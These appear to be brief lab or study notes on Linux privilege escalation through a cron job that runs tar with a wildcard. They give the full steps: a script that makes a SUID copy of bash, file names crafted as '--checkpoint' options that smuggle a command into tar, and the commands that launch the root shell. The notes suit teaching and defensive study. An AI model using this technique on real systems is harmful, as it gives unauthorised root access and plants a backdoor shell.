also works outside of Cron
could be a command with wildcard, not just a file that does something. Like a tar czf command with wildcards would make this same steps work!
what does the compress.sh do every minute?
strings /usr/local/bin/compress.sh
it’s using tar:
can we do take over again?
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > runme.sh
chmod +x runme.sh
tar commands:
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\runme.sh
/tmp/bash -p
whoami
what’s happening is this:
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh\runme.sh
we’re adding a checkpoint and then adding an action to the checkpoint via tar